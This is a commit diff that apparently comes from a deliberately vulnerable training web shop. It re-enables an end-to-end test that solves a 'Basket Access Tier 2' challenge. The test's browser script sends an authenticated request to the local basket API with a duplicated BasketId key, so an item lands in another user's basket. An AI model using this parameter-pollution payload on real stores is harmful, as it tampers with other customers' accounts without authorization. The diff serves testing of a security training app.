message: Refactored e2e spec for basket access tier 2
diff: @@ -38,14 +38,26 @@ describe('/#/basket', () => {
  })
  describe('challenge "Basket Access Tier 2"', () => {
  - xit('should manipulate basket of other user instead of the one associated to logged-in user', () => {
  + it('should manipulate basket of other user instead of the one associated to logged-in user', () => {
  browser.waitForAngularEnabled(false)
  - browser.executeScript('var $http = angular.element(document.body).injector().get(\'$http\'); $http.defaults.headers.post["Content-Type"] = "text/plain"; $http.post(\'/api/BasketItems/\', \'{"ProductId":14,"BasketId":"1","quantity":1,"BasketId":"2"}\');')
  + browser.executeScript(() => {
  + var xhttp = new XMLHttpRequest()
  + xhttp.onreadystatechange = function () {
  + if (this.status === 200) {
  + console.log('Success')
  + }
  + }
  +
  + xhttp.open('POST', 'http://localhost:3000/api/BasketItems/')
  + xhttp.setRequestHeader('Content-type', 'text/plain')
  + xhttp.setRequestHeader('authorization', `Bearer ${localStorage.getItem('token')}`)
  + xhttp.send({ "ProductId": 14,"BasketId":"1","quantity":1,"BasketId":"2" }) //eslint-disable-line
  + })
  browser.driver.sleep(1000)
  browser.waitForAngularEnabled(true)
  })
  - // protractor.expect.challengeSolved({challenge: 'Basket Access Tier 2'})
  + protractor.expect.challengeSolved({challenge: 'Basket Access Tier 2'})
  })
  })
  